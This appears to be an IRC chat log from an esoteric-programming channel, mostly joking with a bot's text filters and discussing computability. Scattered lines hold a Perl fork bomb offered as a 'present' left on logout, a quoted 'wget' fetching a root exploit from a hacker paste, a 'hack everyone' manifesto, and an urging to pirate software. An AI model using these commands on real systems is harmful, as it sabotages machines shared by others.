00:02:11 psygnisfive: btw you're a mac user, get this http://www.atebits.com/scribbles/, it's awesome. 00:02:22 even if purely from a UI design perspective 00:02:31 im not gonna pay money for that. 00:02:38 psygnisfive: download the free trial. 00:02:39 duh 00:02:43 oh ok 00:02:50 and/or pirate it :p 00:02:58 o rite 00:04:32 I think it was fucked from the very beginning. Reinstalling might not unfuck it. 00:04:39 warrie: It probably will. 00:04:49 as a rule of thumb, either you or your hardware sucks before the software :P 00:05:03 I blame the hardware. 00:05:13 Just reinstall and hope for the best. 00:05:15 Can't hurt. 00:05:18 * warrie nods 00:05:36 * warrie suddenly gets curious about how his hard drive is partitioned. 00:10:14 You should take it out, take it apart with a screwdriver, and inspect manually. 00:10:24 with an axe ====|7 00:11:04 ehird: scribbles cost $19.99 00:11:13 too much for a stupid software 00:11:13 nooga: what about it 00:11:21 nooga: download 00:11:22 the 00:11:23 fre 00:11:25 e 00:11:27 trial 00:11:29 and 00:11:31 then 00:11:33 pirate 00:11:35 it 00:11:37 you moron :| 00:11:58 * oerjan locks ehird in an xargs echo jail 00:12:04 noooooooooooooooo 00:12:10 Hear hear. 00:13:12 ehh 00:13:16 eeeee 00:13:27 too simple 00:13:38 + my mouse is bad for drawing 00:13:40 nooga: that's what you said about os x too :) 00:13:44 also, so is mine 00:13:45 it's still fun 00:13:47 click around 00:14:12 moving an icon to the dust bin is so simple 00:14:22 yer loss 00:14:53 http://www.topcoder.com/stat?c=school_avg_rating < CTO 00:15:08 war saw war saw war saw 00:15:10 yay! 00:16:25 !sh echo "Test" | fmt 00:16:26 Test 00:16:36 and my school is 36 00:16:40 Poznan University of Technology :C 00:16:42 !sh echo "Test" | cowsay 00:16:42 /tmp/input.30982: line 1: cowsay: command not found 00:16:45 !!!!!! 00:16:49 GregorR: INSTALL COWSAY NOW 00:17:43 something like fmt -w500 might be better than xargs echo for EgoBot output 00:17:51 !sh cowsay 00:17:52 /tmp/input.31102: line 1: cowsay: command not found 00:17:59 WTF 00:18:02 I just installed it :P 00:18:13 Oh, it's in /usr/games 00:18:15 Which isn't in $PATH 00:18:22 !sh /usr/games/cowsay Hi 00:18:23 ____ 00:18:29 !show swedish 00:18:30 sh chef | xargs echo 00:18:30 GregorR: remove that fucking dcc shit :( 00:18:36 No way in hell. 00:18:43 !swedish lol 00:18:43 lul 00:18:44 !swedish Why it's a lovely day today 00:18:45 Vhy 00:18:46 ahhaha 00:18:47 fuuuuuuuuuuuuuuuck yooooooooooou 00:18:50 no other bot is so obnoxious 00:18:58 !delinterp swedish 00:18:59 Interpreter swedish deleted. 00:19:21 !addinterp swedish sh chef | fmt -w500 00:19:22 Interpreter swedish installed. 00:19:26 !swedish Why it's a lovely day today 00:19:27 Vhy it's a lufely dey tudey 00:19:32 ehird: DCC provides the best compromise of options. 00:19:34 it's so swedish 00:19:35 :D 00:19:47 GregorR: it's a compromise that nobody else uses because it sucks, and one that completely shuts off many irc users. 00:19:53 cf me 00:19:54 it's so swedish that even AnMaster would boil 00:20:01 GregorR: that got rid of the ' bug 00:20:09 nooga: anmaster, boiling? then dying? 00:20:12 i'll have to try this 00:20:16 ye 00:20:31 !swedish it's so swedish that even AnMaster would boil 00:20:31 it's su svedeesh thet ifee UnMester vuoold bueel 00:20:39 :DDDDDDDDDDDDDDD 00:21:15 !swedish glorbenschnitzel 00:21:15 ehird: There is no purpose in doing commands with many lines of output /at all/, and fair rate-limiting gets arbitrarily complicated with more than one stream. So your choice is either DCC or no multi-line output. PERIOD. 00:21:16 glurbenschneetzel 00:21:25 GregorR: Cow-fucking-say. 00:21:37 GregorR: also, just have one global rate-limiter 00:21:39 and feed everything to it 00:21:46 that's how freenode conditions on floods 00:21:49 ehird: So you totally missed the "fair" part. 00:21:59 GregorR: Command !stopit, which stops all output. 00:22:05 Problem of abusers solved. 00:22:28 Egad, I'm not even having this conversation, this is too stupid. If you have a client so back-assward that you can't DCC, too fucking bad, get a not-shit client. 00:22:55 GregorR: {not shit,works on OS X} → {LimeChat}. 00:23:05 LimeChat supports DCC → false. 00:23:28 LimeChat supports DCC -> false. Conclusion: LimeChat = shit 00:23:37 GregorR: So I have a choice of , or . 00:23:44 I'll go switch to 00:23:46 Segmentation fault 00:24:02 You have a choice of too fucking bad I don't care about your garbage operating system or garbage client. 00:24:37 * ehird toys with the idea of causing EgoBot to flood itself off the net 00:26:30 GregorR: cool story bro 00:31:02 hmm 00:31:11 funny idea 00:31:16 hahahaha 00:31:21 oh wait 00:31:29 you didn't tell it yet 00:31:34 we take two bots that interpret same language that is able to output quine 00:31:49 and? 00:31:51 first bot is triggered with !, and the seond is triggered with ^ 00:31:53 If by "funny" you mean "look in the logs for where that's been done", then yes :P 00:32:02 okay 00:32:06 date plx? 00:32:12 like 50 times 00:32:14 we've done it since forever 00:32:20 several dates, for several different bot combinations 00:32:29 fungot, unfortunately, now ignores other bots 00:32:29 ehird: ummm....... uncool it online. it was an unmanned flight--thanks for doing your homework and get back by the way amanda claps =d 00:32:31 because fizzie is a nai 00:32:33 nazi 00:32:57 EgoBot ignores nothing! :P 00:33:26 !echo ^ul (Are you ignoring me?)S 00:33:27 ^ul (Are you ignoring me?)S 00:33:32 :( 00:33:49 ^ul (!echo You aren't ignoring me!)S 00:33:49 !echo You aren't ignoring me! 00:33:50 You aren't ignoring me! 00:35:26 GregorR: make two egobot instancs 00:35:30 instances 00:35:31 instancsssssj 00:35:33 nstsnaces 00:35:34 instances 00:35:43 ^scramble instances 00:35:43 isacsentn 00:36:20 I hate canker sores. 00:36:38 ^swedish I hate canker sores 00:36:42 er 00:36:45 !swedish I hate canker sores 00:36:46 I hete-a cunker sures 00:37:08 a necrotic, fungal disease of apple and other trees that results in damage to the bark. 00:37:27 oh right, i hate that too 00:37:31 !swedish a necrotic, fungal disease of apple and other trees that results in damage to the bark. 00:37:31 a necruteec, foongel deeseese-a ooff epple-a und oozeer trees thet resoolts in demege-a tu zee berk. Bork Bork Bork! 00:37:37 epple 00:37:38 :D 00:37:38 berk berk berk 00:37:45 !brit a necrotic, fungal disease of apple and other trees that results in damage to the bark. 00:37:45 a necrotic, right, fungal disease o' apple and uvver trees that results in damage ter the bloody bark. 00:37:48 !brit A necrotic, fungal disease of apple and other trees that results in damage to the bark. 00:37:48 A necrotic, fungal disease o' apple and uvver trees that results in damage ter the bloody bark, right? 00:38:54 who wrotes those filters? :D 00:39:02 They're GNU talkfilters. 00:39:05 !google gnu talkfilters 00:39:05 http://google.com/search?q=gnu+talkfilters 00:39:13 hm wait that's only one kind of oral ulcer 00:39:26 !show google 00:39:27 bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.,[>[-]>[-]<<[>+>+<<-]>>>[-]++++++++[<---->-]<[[-]>+<]>-[<<[-]>+++++++[<++++++>-]<+>>[-]]<<.[-]<,] 00:39:35 * oerjan cannot say what kind it is he sometimes gets 00:39:38 :D 00:40:05 oerjan: Canker sores are (relatively) common. If it's not canker sores, it's herpes. 00:40:13 hm... 00:40:17 american -> so it's like umm, you know, umm, yea, whatever, you know, it's like, umm 00:40:20 !userinterps 00:40:20 Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo fudd funetak google graph gregor hello jethro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes swedish valspeak warez yodawg 00:40:24 THEN IT _MUST_ BE CANKER SORES 00:40:26 nooga: Yeah, they don't have that one :( 00:40:46 !dubya The Islamic fundamentalist terrorists need countering. And I am releasing a strategy to bomb their, our, our country. Their country. 00:40:46 The Islamically fundamentalist bad guys need counterin'. And I am releasin' a strategy to bomb their -- I think -- our -- I think -- our country. Stay the course! Their country. Stay the course! 00:40:55 That's rubbish 00:40:59 polish -> kurwa kurwa kurwa ja pierdole kurwa mać kurwa 00:41:11 nooga: That's California specifically. :p 00:41:31 Arabic -> Durka durka, muhammed jihad. 00:41:42 !dubya There's an old saying in Tennesse -- I know it's in Texas, probably in Tennesse -- that says: fool me once, shame on you. Fool me, you can't get fooled again. 00:41:43 There's an old sayin' in Tennesse -- I know it's in Texas -- I mean -- probably in Tennesse -- that says: fool me once, shame on you. Stay the course! Fool me, you can't get fooled againify. 00:41:43 i mean yeah, like you know what i mean, umm, it's like yeah 00:41:51 THAT'S SHIT. 00:42:07 !funetak Funetak. 00:42:07 Funetak. 00:42:12 !funetak Well that's unhelpful. 00:42:13 Well that's unhelpful. 00:42:15 !valspeak Hello, world! 00:42:15 Hello, like world 00:42:22 !show funetak 00:42:22 sh funetak 00:42:23 !valspeak Like for like 00:42:24 Like for like 00:42:37 !valspeak I'm just this person who is talking about rabies, rabbits and rabbis. 00:42:37 I'm just like, ya know, this person who is like, ya know, talkin' about rabies, man rabbits and rabbis. 00:42:40 !aol Romeo, Romeo, wherefore art thou Romeo? 00:42:41 ROMEO, ROMEO, WHERE4 ART THOU ROMEO??!! 00:42:44 00:40 nooga: american -> so it's like umm, you know, umm, yea, whatever, you know, it's like, umm 00:42:47 nooga: your wish has been fulfilled 00:43:13 !pirate all your base are belong to us 00:43:14 all yer base be belong t' us 00:43:21 !valspeak That's just your opinion. 00:43:22 That's just your opinion. 00:43:40 !funetak What does this thing actually do I wonder 00:43:41 Wut does this thing actually do I wonder 00:43:43 !pirate all my pals have big guns 00:43:44 all me pals have big guns 00:43:50 Man rabbit? 00:43:51 :) 00:43:51 oh no 00:43:59 !delinterp funetak 00:43:59 pals -> mateys! :P 00:44:00 Interpreter funetak deleted. 00:44:01 o well 00:44:04 !pirate We'll surely avoid scurvy if we all eat an orange. And... um... Well... ...Err... Door hinge? No, no. Guess the song's over then. Guess so. Okay, back to work. Well gee. I feel a little guilty now. 00:44:05 We'll surely avoid scurvy if we all eat an orange. And... um... Well... ...Err. Hoist the mainsail!.. Door hinge? Nay, nay. Guess th' song's o'er then. Guess so. Okay, arrrr, back t' work. Well gee, and a bottle of rum! I feel a little guilty now, I'll warrant ye. 00:44:09 !addinterp ehird sh funetak 00:44:09 Interpreter ehird installed. 00:44:20 These filters just add shit at random intervals. 00:44:29 !yodawg this is a test? 00:44:30 Unknown function: t 00:44:33 aaa 00:44:34 ;] 00:44:36 it's a lang 00:44:45 it's unlambda 00:44:46 it's unlambda in unlambda 00:44:48 !show yodawg 00:44:48 unlambda (sending via DCC) 00:44:52 fuck you EgoBot 00:44:55 !show postmodern 00:44:56 sh postmodern 00:45:00 * GregorR laughs at ehird. 00:45:04 !postmodern 00:45:09 !postmodern lol 00:45:10 lol 00:45:12 http://oerjan.nvg.org/esoteric/interpreter.unl iirc 00:45:15 !postmodern lulzify 00:45:16 lulzify 00:45:25 !postmodern what's this thing about? 00:45:25 what's this semiotically phallic-symbol-like weapon about? 00:45:27 !postmodern Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. 00:45:28 Cavities and chassises are tted Kennedy foundation of a modern subjective object theory that deconstructed can be used to emulsify prior notions to produce postmodern entities. 00:45:40 It puts "ted Kennedy" in the worst places. 00:46:05 !pansy what 00:46:06 what 00:46:21 !pansy why ted kennedy? 00:46:22 why ted kennedy? 00:46:24 eee 00:46:27 !pansy I'm a green submarine and shit is like a submarine 00:46:27 I'm a green thubmarine and shit ith like a thubmarine 00:46:30 it does nothing 00:46:35 !ehird What! 00:46:36 Wut! 00:46:42 !ehird lol what 00:46:43 lol what 00:46:45 ... 00:46:46 !ehird lol what! 00:46:47 lol what! 00:46:48 perfect match :) 00:46:49 !ehird lol. what 00:46:50 lol. what 00:46:52 ... 00:46:54 SAY WUT YOU RETARD> 00:47:02 !ehird fucking cows are as the in to 00:47:02 faking cows are as the in to 00:47:03 WO? 00:47:25 !userinterps 00:47:25 Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes swedish valspeak warez yodawg 00:47:59 !show rot13 00:48:00 bf (sending via DCC) 00:48:06 !redneck This is my son, and this is my sister who is also my son's mother, and this is my mother who is my daughter's mother, and this is my father who is the father of my sister's son. 00:48:06 This here is muh son, an' this here is muh sister who is also muh son's momma, an' this here is muh momma who is muh daughter's momma, an' this here is muh daddy who is thuh daddy uh muh sister's son. 00:48:14 ... It's the *Brainfuck* rot13? 00:48:14 :) 00:48:15 !cockney Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. 00:48:15 Cavities and chassises are the bleedin' foundation o' a modern subjective object theory that can be used ter emulsify prior notions ter produce new entities. 00:48:23 meh 00:48:25 haha 00:48:40 !addinterp postmodern_aoler sh postmodern | b1ff 00:48:40 Interpreter postmodern_aoler installed. 00:48:45 !show gregor 00:48:45 sh sed 's/þ/th/g ; s/Þ/Th/g ; s/ſ/s/g ; s/æ/ae/g ; s/Æ/Ae/g ; s/œ/oe/g ; s/Œ/Oe/g' 00:48:51 -!- bsmntbombdood_ has joined. 00:48:54 !postmodern_aoler Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. Phallus. 00:48:55 CAVITYS & CHA5515E5 R TTED KENNEDY FOUNDASHUN OF A MODERN 5UBJECT1VE OBJECT THEORY THAT DECON5TRUCTED CAN BE U5ED 2 EMULS1FY PR1OR NOSHUNS 2 PRODUCE PO5TMODERN ENTITYS!! FALLUS. 00:48:56 !postmodern_aoler I am an AOL user, and a proud supporter of AMERICA ONLINE. 00:48:57 1 AM AN AOL USER, & A PROUD SUPPORTER OF AMER1CA ONL1NE. 00:49:07 Brrf, that one didn't work. 00:49:42 !postmodern_aoler I am the scourge of the internet 00:49:43 I AM TTED KENNEDY SCOURGE OF TTED KENNNEDY INTERNET 00:50:02 !postmodern_aoler I heard you like AOL so I put an AOL in your AOL. 00:50:03 1 HEERD U LIKE AOL 5O I PUT AN AOL IN TH3 PENETRATED SPAC3 OF YOU'RE AOL!! 00:50:19 !postmodern_aoler So you can AOL while you AOL. 00:50:19 SO U CAN AOL WHIEL U AOL!! 00:50:57 !userinterps 00:50:58 Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern postmodern_aoler redneck rot13 sadbf slashes swedish valspeak warez yodawg 00:51:04 !fudd I'm hunting rabbits. 00:51:05 I'm hunting wabbits. 00:51:05 !show warez 00:51:06 sh warez 00:51:14 !fudd Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. Phallus. 00:51:14 Cavities and chassises awe de foundation of a modewn subjective object deowy dat can be used to emuwsify pwiow notions to pwoduce new entities. Phawwus. 00:51:16 !wares your mother 00:51:20 !warez is aol 00:51:20 Is 4Ol 00:51:20 !warez your mother 00:51:21 j00r m07H3R 00:51:23 oh 00:51:24 no 00:51:25 warez=1337 00:51:30 !warez yeah! 00:51:30 Y34]-[! 00:51:30 !addinterp rottisiery rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13 00:51:31 Interpreter rottisiery installed. 00:51:43 !rottisiery I wonder what I'll get? 00:51:44 | o1ss | ebg13 | pbpxarl | ebg13 | purs | ebg13 00:51:50 Well played :P 00:51:52 "? "\ 00:52:01 You missed a step. 00:52:05 XD 00:52:07 !addinterp rottisiery sh rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13 00:52:07 There is already an interpreter for rottisiery! 00:52:11 !delinterp rottisiery 00:52:12 Interpreter rottisiery deleted. 00:52:13 !addinterp rottisiery sh rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13 00:52:13 Interpreter rottisiery installed. 00:52:15 !rottisiery butts 00:52:15 /tmp/input.1186: line 1: rot13: command not found 00:52:17 !delinterp rottisiery 00:52:17 Interpreter rottisiery deleted. 00:52:19 :D 00:52:20 Failus,. 00:52:30 Install BSD games? 00:52:38 ROT! 00:52:41 bsdgames is like unto a flower 00:52:55 Also has Morse! 00:53:24 but probably no remorse 00:53:39 Who does in this day and age? 00:53:49 JESUS 00:54:30 ehird: no swearing please 00:54:40 H. FUCKING CHRIST 00:56:09 * nooga wonders about what is the Pink Floyd - Poles Apart from Division Bell 00:56:11 :f 00:57:55 DAMN YOU CANKER SORE 00:58:23 it could be worse. it could be a cancer sore. 00:58:58 nooga: it's the song Poles Apart. 00:59:02 from the album The Division Bell. 00:59:11 (which isn't a floyd album, as it has no Waters) 00:59:12 *about 00:59:19 * oerjan thinks nooga doesn't like poles to be apart 01:01:00 * oerjan now wonders what is the collective noun for poles 01:01:09 oerjan: Poli. 01:01:16 really? 01:01:23 um 01:01:41 Pollocks :D 01:01:42 a poli of poles 01:03:33 e poli 01:03:38 -!- amca has joined. 01:03:45 oh wait, clearly it must be "parliament of poles" 01:03:48 * oerjan ducks 01:05:46 oerjan: no, not ducks 01:05:47 poles 01:06:20 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)). 01:06:22 hoi polloi 01:07:29 hoi polloi 01:10:30 [[ \/ \/ \/ \/- Fuck full-disclosure 01:10:31 - Fuck the security industry 01:10:32 - Keep 0days private 01:10:34 - Hack everyone you can and then hack some more]] 01:10:35 an influx of Poles? 01:10:36 Oh boy, kiddies. 01:10:43 ho ho ho 01:10:43 ...kiddies that have an exploit in recent linuxes. 01:10:47 That allow them to get root remotely. 01:10:54 That they won't publish for obvious reasons. 01:10:58 FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU 01:11:02 CCCCCCCCCCCCCCCCCCCCKKKKKKKKKKKKKKKKKKK 01:12:59 WO?! 01:13:06 http://gbelo.org/greed/rbs/?level=1 01:13:48 Sgeo: what is that 01:14:42 A game, kind of 01:15:16 explain it 01:15:20 :p 01:16:11 Hoi polloi? Isn't that a collective noun? 01:16:26 ya 01:16:29 Yeþ. 01:17:11 ehird: Oh, bloody hell. 01:17:20 pikhq: Yep 01:17:21 ehird: Any idea if iptables works? 01:17:40 * warrie looks at Sgeo's Esperanto game. 01:17:46 It's not Esperanto 01:17:54 pikhq: It got in either through ntpd, or the web server, or something else - obviously they won't tell us and the paste of astalavista.com being hacked probably has a ton of lies to set us off course. 01:18:01 How do you explain the "belo", then? 01:18:05 The site, fwiw: http://romeo.copyandpaste.info/ 01:18:16 Wow. What a strange little site. 01:18:26 FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUCCCCCCCCCCCCCCCCCCCCCCCCK. 01:18:47 Get trusted. 01:18:47 Trust no one. 01:18:50 erm 01:18:55 a bit illogical? 01:19:02 how is that illogical 01:19:06 astalavista.com? 01:19:07 they're waging war on everyone who isn't them 01:19:15 warrie: a shitty script kiddie site 01:19:21 stole astalavista.box.sk's name 01:19:29 they stored passwords for their $6.66/mo forum in plaintext 01:19:39 anyway, this group used their unreleased exploit to get root 01:19:42 and deleted everything on it 01:19:53 I'm guessing it's a misspelling of hastalavista. 01:19:56 tl;dr unplug your ethernet cable for a few years. 01:20:05 warrie: it just comes from Terminator. 01:20:36 ehird: i enter a group in which i must remember a rule not to trust anyone in that group, if other members of a group follow that rule i cannot get trusted 01:20:50 the group* 01:20:55 nooga: presumably the idea isn't to get trust in the group 01:20:57 but everywhere else 01:21:04 pretty obvious 01:21:12 + 01:21:14 # rm -rf / 01:21:18 WHAT A CLIMAX! 01:21:40 http://romeo.copyandpaste.info/txt/astalavista.txt ← i wouldn't kid around, they fucking ravaged astalavista 01:21:50 * warrie decides not to rm -rf /. 01:22:03 I did rm -rf / once. It was pretty boring. 01:22:12 gnu rm doesn't let you 01:22:25 "Huh. Now I can't do anything. Okay, on to the next thing." 01:22:47 I see an easy solution. 01:22:55 OpenBSD. 01:22:55 sometimes i leave a present before logout 01:23:01 perl -e 'fork while fork' 01:23:04 :F 01:23:15 ehird, do they actually have an exploit, or are they _claiming_ they have an exploit? 01:23:22 Sgeo: Yes they have an exploit. 01:23:26 They used it on astalavista.com 01:23:29 Jesus, keep up. 01:23:48 And it's a new 'sploit as astalavista was running on a recent linux 01:24:18 boring 01:24:24 Looks like an Apache exploit. 01:24:27 pikhq: no 01:24:30 astalavista run LiteSpeed 01:24:32 bad hackers were trendy in 90's 01:24:34 pikhq: and remember, that paste has fakes 01:24:44 for instance 01:24:45 sh-3.2$ wget http://anti.sec.labs/g0troot 01:24:45 --13:33:37-- http://anti.sec.labs/g0troot 01:24:48 Right... 01:24:57 so you shouldn't really trust the contents to be accurate wrt the exploit 01:25:21 I'm suspecting that it'd need some good analyists to figure out WTF they're doing. 01:27:25 As an aside, their HTML sucks. 01:29:09 @recycle *ehird 01:44:08 uhm 01:44:27 ohm 01:44:34 it's late 02:16:33 -!- Slereah has quit. 02:32:38 -!- Corun has quit ("Leaving..."). 02:49:58 -!- bsmntbombdood_ has joined. 03:03:41 -!- psygnisfive has quit ("Leaving..."). 03:03:58 -!- coppro has quit (Remote closed the connection). 03:07:56 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)). 03:07:59 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 03:10:25 -!- pikhq has joined. 03:14:05 -!- GreaseMonkey has quit (Remote closed the connection). 03:36:28 -!- inurinternet has joined. 03:41:20 GregorR, I found a free money giver in M*U*S*H! 03:42:06 -!- inurinternet has quit (Client Quit). 03:43:02 Sgeo: lol 03:43:28 (Well, actually, it's a broken object by Mike 03:43:38 But Mike has 56003 Ducats, so 03:44:41 not for long, i take 03:45:05 Although if I abuse it right now, it will spam an area with a lot of people who know I know how to abuse it 03:45:12 _admins_ who know this 03:46:56 -!- inurinternet has joined. 03:47:43 oh no, there's something inmyinternet 03:49:17 Somethinging your something. 03:50:49 oh no, not my something. anything but that! 03:53:00 -!- nooga_ has joined. 03:53:35 I think I want to make a MUSH. 03:53:51 PennMUSH not MUSHy enough for you? 03:54:04 Does PennMUSH allow random people to come in and write code? 03:54:20 warrie, yes 03:54:22 Well, MUSHcode, yeah. 03:54:30 The free money thing's gone 03:56:42 -!- Dewio has changed nick to Dewi. 03:59:40 No more output from Dew. 03:59:59 -!- nooga has quit (Read error: 110 (Connection timed out)). 04:02:56 heh 04:24:01 -!- bsmntbombdood has joined. 04:37:20 -!- oerjan has quit ("Good night"). 04:42:02 -!- psygnisfive has joined. 05:01:32 -!- GreaseMonkey has joined. 05:40:35 -!- Patashu has joined. 06:19:58 ehird: it appears that you searched reddit for comments mentioning Nomic. 06:43:03 -!- FireFly has joined. 06:43:40 NOM NOM NOM GREGOR EAT BABIES 06:47:55 -!- Bthis has joined. 07:00:53 -!- Bthis has quit (Client Quit). 07:01:40 GregorR: do not put the baby 07:14:03 on the #esoteric 07:15:13 wut 07:16:25 -!- Slereah has joined. 07:16:33 -!- kar8nga has joined. 07:22:54 I don't suppose somebody here knows how to make Enlightenment use larger font sizes? 07:40:04 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 07:48:40 -!- nooga has joined. 07:49:52 Funny, when I make font sizes huge they look ginormous on my 16" monitor, but tiny on my .5" :P 07:52:23 -!- nooga_ has quit (Read error: 110 (Connection timed out)). 07:55:54 -!- kar8nga has quit (Remote closed the connection). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:33:09 hey guys 08:33:25 apparently "gaol" and "gaoler" are alternative spellings to "jail" and "jailer" 08:33:28 yup 08:33:48 thats awesome 08:33:54 we should spell jail that way from now on 08:35:03 It's how I've usually spelt gaol for at least a year now... I just don't get the opportunity to use the word often :-P 08:38:09 yeah but you're in some crazy european country 08:40:47 What difference does that make :-P 08:40:57 europe is all.. european. thats what. 08:50:33 -!- ais523 has joined. 08:51:20 http://www.youtube.com/watch?v=Zoygy-8PTtU 08:51:21 WEIRD 08:53:36 -!- lereah_ has joined. 09:35:01 -!- tombom has joined. 09:38:58 Dudes 09:39:18 Why does LaTeX delete the spaces between number and unit 09:39:22 Between $$ 09:40:18 Because in math-mode, all space you want to put in needs to be explicit. 09:40:25 Use something like "\ " for a reasonable space. 09:40:45 Or one of http://www.emerson.emory.edu/services/latex/latex_119.html 09:41:52 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)). 09:42:24 I also have a feeling if you put a space in the \mathrm{...} you might have there to specify units (so that it doesn't italicize them) those would be kept. But I'm not sure about that. 09:45:24 LaTeX tutorials are full of infos about crazy typographic rules that no one cares for 09:45:32 It is weird 09:47:03 make a metalanguage for latex 09:47:05 :awesome: 09:58:49 LyX? 10:01:38 I no like LyX 10:07:04 Evidently P != NP http://arxiv.org/abs/0906.1084 10:07:52 oh shi 10:07:52 Deewiant: comparing infinities is always a tricky business 10:08:06 That's so simple I could do it in my sleep 10:08:08 I'm not entirely sure if I'd trust people spouting on about physics to get it right 10:08:33 Hey, I spout on about physics >:| 10:08:33 but that is a relatively compelling argument 10:08:39 -!- Hiato has joined. 10:08:51 lereah_: luckily, I've never needed to trust you to compare infinities correctly 10:09:44 Your mom is infinitely fat, but I had sex with her an infiniter number of times 10:09:57 At least three bonings per pounds 10:10:14 but multiplying an infinity by 3 doesn't change it 10:10:32 It does when my penis is involved 10:10:53 Also your argument only works for some types of infinities! 10:11:02 It totally works with surreal numbers 10:11:17 Although I'm not sure if their infinities are actually ordered 10:13:01 -!- psygnisfive has joined. 10:14:10 psognos 10:14:29 sup 10:16:10 -!- Hiato has quit (Read error: 54 (Connection reset by peer)). 10:20:10 sciencing and shit 10:21:05 are there any programming languages based apon newtonian mechanics? 10:21:19 http://esolangs.org/wiki/Gravity 10:21:22 which is uncomputable 10:21:30 hmm but like 10:21:35 bouncing billard balls off each other and stuff 10:21:40 but not tile-based, continuous 10:26:06 ais523 : That always bugged me 10:26:13 How is it uncomputable exactly? 10:26:35 lereah_: because general floating-point numbers don't fit into finite memory 10:26:53 there's an uncountable number of real numbers 10:26:57 but only a countable number of integers 10:27:13 so you have to approximate the calculation 10:27:37 Well, actually, no 10:27:46 Gravity uses, at the very least, definable number 10:27:56 At least I'm pretty sure 10:28:03 So there's a countable number of those 10:28:19 They might be non-computable, but I'm not too sure of that either 10:28:48 Comments are "Apparently Penrose proved that certain questions in gravitational systems are undecidable. Unfortunately I can't remember where I read about it.", but it's rather vague 10:29:05 Also "(Incidentally, even the solutions of the differential equations for a three-body gravitational system are non-computable.)", which is false 10:29:15 It has no analytical solution, but it's computable 10:31:15 That Chris Pressey fellow says that it's computable, too 10:31:30 ah, interesting 10:31:30 Hey, it's the cat's eye dude? 10:31:39 yes 10:32:52 there are an infinite number of masses in Gravity though 10:33:01 there's no general solution 10:33:16 Patashu : That's a poor proof of non-computability though 10:33:34 A Turing Machine with infinitely many filled cells is also uncomputable 10:33:46 At least in a general case 10:34:30 yes, if the method by which they're filled is itself uncomputable 10:34:44 that statement by itself isn't proof of anything, no ;) 10:34:45 Most conditions on TC-ness call for at least some limitations on the filling of the memory 10:35:15 I guess you could see what Penrose has to say about it, but 'till then, I'm doubtful 10:35:29 -!- ais523 has quit (Read error: 60 (Operation timed out)). 10:36:03 oh hmm 10:36:46 is the infinite grid of masses in Gravity 10:36:50 1 unit mass or 0 unit mass 10:39:01 -!- ais523 has joined. 10:39:43 "The basic configuration of space in Gravity is an infinite set of point particles of unit mass with no velocity on a regular square grid" 10:40:32 k 10:40:44 It's also on a discrete grid 10:40:51 Do they move on a continuum at least? 10:40:56 of course they do 10:41:12 discrete gravity doesn't make sense 10:41:29 A lot of simulations use discrete grids 10:42:30 that wouldn't be Gravity then, that would be Approximate Gravity 10:43:01 Well, that still isn't gravity if it uses Newtonian gravity 10:45:14 At least with general relativity, you'd be able to to Gravity and Two Ducks at the same time 10:45:46 haha 10:45:47 http://3.bp.blogspot.com/_U-4kIJCjlwU/SYqA1a91R8I/AAAAAAAAA14/h-6Ye2i5pqM/s320/teacup+duck+2.JPG 10:45:49 Two ducks 10:47:12 Proof for TCness of gravity would prolly be a bitch though 10:47:47 Do we know if it's at least TC by the way? 10:48:03 It has no BF in it 10:48:15 no brainfuck in it? fuck what are we to do 10:48:17 lol 10:48:25 if something is uncomputable is it turing complete? 10:48:48 actually...if something is uncomputable, how can it still happen (e.g. in real life) ? 10:49:06 well I guess the universe is technically discrete 10:49:07 so hmm 10:49:07 Patashu : Something uncomputable can still be at least TC 10:49:14 Like a Turing Machine + oracle 10:49:29 But it can just be uncomputable and unable to do shit 10:49:30 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 10:49:43 Well, useful shit 10:50:27 like 10:50:37 a programming language that can solve the twin prime conjecture and do nothing else 10:50:37 ? 10:50:38 -!- ais523 has quit (Read error: 104 (Connection reset by peer)). 10:51:09 Well, I don't know if it's uncomputable, but I guess 10:51:31 integral of the riemann-zeta function or something 10:53:17 Solving the halting problem would totally make it TC, but I don't know about the rest, though 10:53:40 lereah_ knows lots about zeta functions 10:53:44 Are all uncomputable problems somehow transformable into the Halting Problem? 10:53:52 psygnisfive : oh you <3 10:53:55 hmm 10:53:55 :D 10:53:55 I think so 10:54:07 oh wait 10:54:53 no because solving the halting problem would let you solve any problem basically 10:54:54 I seem to recall something about an uncomputable machine that would just churn out random numbers 10:54:59 while otoh you could only be able to solve one uncomputable problem 10:55:25 Well, infinite random numbers 10:55:39 Finite ones you can do the random TC thing on it 10:56:20 n8 11:03:48 -!- FireFly has quit (hubbard.freenode.net irc.freenode.net). 11:03:53 -!- Corun has joined. 11:08:39 -!- FireFly has joined. 11:30:03 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = 